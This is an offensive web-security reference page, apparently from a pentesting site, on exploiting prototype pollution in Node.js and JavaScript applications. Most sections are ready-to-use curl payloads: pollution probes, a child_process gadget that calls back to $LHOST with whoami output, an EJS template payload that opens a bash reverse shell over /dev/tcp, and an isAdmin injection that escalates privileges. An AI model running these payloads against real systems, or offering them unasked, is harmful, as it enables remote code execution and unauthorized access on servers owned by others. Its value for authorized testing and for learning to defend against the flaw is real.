# Prototype Pollution

> Exploiting prototype pollution vulnerabilities in JavaScript to manipulate object inheritance chains via HTTP, enabling privilege escalation and remote code execution.

- **URL:** https://hackindex.io/services/web/exploitation/prototype-pollution
- **Path:** HTTP/HTTPS > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/web/exploitation.md)
- **Published:** 2026-09-11
- **Updated:** 2026-09-11

Prototype pollution exploits JavaScript's prototype chain by injecting properties into `Object.prototype`. When an application merges user input into objects without sanitizing key names, an attacker sets `__proto__` or `constructor.prototype` properties that propagate to every object in the application. The impact depends on how the application uses inherited properties downstream: it ranges from denial of service and access control bypass to server-side remote code execution.

- **Identification** sends `__proto__` or `constructor.prototype` payloads via JSON or query strings and checks propagation.
- **child_process RCE** pollutes shell and env properties to hijack Node.js spawn/fork calls.
- **EJS template RCE** injects code through the `outputFunctionName` property on the next render call.
- **Access control bypass** sets `isAdmin` or role properties on the prototype to escalate privileges.
- **Vulnerable libraries** include lodash, merge, deep-extend, and qs query parsers.

The vulnerability exists in both client-side (browser) and server-side (Node.js) JavaScript. Server-side pollution is the higher-value target because it can reach `child_process` execution through gadgets in popular frameworks. Client-side pollution can chain into [DOM-based XSS](https://hackindex.io/services/web/exploitation/dom-based-xss-exploitation) when polluted properties flow into dangerous sinks.

## Identifying Prototype Pollution

Test any endpoint that accepts JSON objects or query parameters that get merged into server-side objects. Common vulnerable patterns include deep merge utilities, object spread with recursive assignment, and query string parsers that allow nested keys.

Send a pollution probe and check if the property propagates:

```bash
curl -sk http://$TARGET_IP:$PORT/api/settings -X POST -H 'Content-Type: application/json' -d '{"__proto__": {"polluted": true}}'
```

Then request an endpoint that returns object properties and check if `polluted` appears on unrelated objects. Some frameworks expose the pollution directly in error responses or debug output. If `__proto__` is filtered, try the `constructor.prototype` path:

```bash
curl -sk http://$TARGET_IP:$PORT/api/settings -X POST -H 'Content-Type: application/json' -d '{"constructor": {"prototype": {"polluted": true}}}'
```

Query string pollution works on endpoints that use parsers like `qs` which support nested object notation:

```bash
curl -sk 'http://$TARGET_IP:$PORT/api/search?__proto__[polluted]=true'
```

## Server-Side RCE via child_process

Node.js applications that call `child_process.spawn()`, `child_process.fork()`, or `child_process.exec()` anywhere in their codebase can be exploited through prototype pollution. These functions read inherited properties from the options object when not explicitly set. Pollute `shell` and `env` properties to inject commands:

```bash
curl -sk http://$TARGET_IP:$PORT/api/settings -X POST -H 'Content-Type: application/json' -d '{"__proto__": {"shell": "node", "NODE_OPTIONS": "--require /proc/self/environ"}}'
```

A more direct approach uses the `shell` property. When `child_process.spawn` or `child_process.fork` is called without an explicit `shell` option, it inherits from the prototype. Set `shell` to `true` or a specific shell path, then inject via the `env` property:

```bash
curl -sk http://$TARGET_IP:$PORT/api/settings -X POST -H 'Content-Type: application/json' -d '{"__proto__": {"shell": "/bin/bash", "execArgv": ["--eval=require(\"child_process\").execSync(\"curl http://$LHOST:$LPORT/$(whoami)\")"]}}'
```

Trigger the gadget by requesting any endpoint that causes the application to spawn a child process. This includes file processing, PDF generation, image manipulation, or any background job that forks a worker.

## EJS Template Engine RCE

Applications using the EJS template engine are a reliable RCE target. EJS reads `opts.outputFunctionName` from the options object. If this property is inherited from a polluted prototype, it gets injected into the compiled template as raw code. Pollute it with a JavaScript payload:

```bash
curl -sk http://$TARGET_IP:$PORT/api/settings -X POST -H 'Content-Type: application/json' -d '{"__proto__": {"outputFunctionName": "x;process.mainModule.require(\"child_process\").execSync(\"bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'\");var y"}}'
```

After pollution, trigger any page render that uses EJS. The polluted property gets interpolated into the template compilation step and executes on the next `res.render()` call. Pug and Handlebars have similar gadgets through their compiler options.

## Access Control Bypass

Prototype pollution commonly bypasses authorization checks. When an application checks `if (user.isAdmin)` and that property is not explicitly set on the user object, it inherits from the prototype. Polluting `isAdmin: true` on the prototype grants admin access to every user object that does not have an explicit `isAdmin` property:

```bash
curl -sk http://$TARGET_IP:$PORT/api/profile -X POST -H 'Content-Type: application/json' -d '{"__proto__": {"isAdmin": true, "role": "admin"}}'
```

This also works against status checks (`verified`, `approved`, `paid`) and feature flags. Any boolean or string property that the application reads from user objects without explicit initialization is exploitable.

## Vulnerable Libraries

The most common sources of prototype pollution are recursive merge and deep clone utilities. Libraries known to have had pollution vulnerabilities include `lodash` (before 4.17.12), `merge`, `deep-extend`, `defaults-deep`, `mixin-deep`, and `set-value`. Express body parsers and query string parsers (`qs`) can also pass nested keys that reach merge operations. Check `package.json` or `package-lock.json` for vulnerable versions if you have file read access.

## References

- [client-side-prototype-pollution](https://github.com/BlackFan/client-side-prototype-pollution) - Database of client-side prototype pollution vulnerabilities by library.
- [PortSwigger Prototype Pollution](https://portswigger.net/web-security/prototype-pollution) - Comprehensive reference on prototype pollution attack techniques.
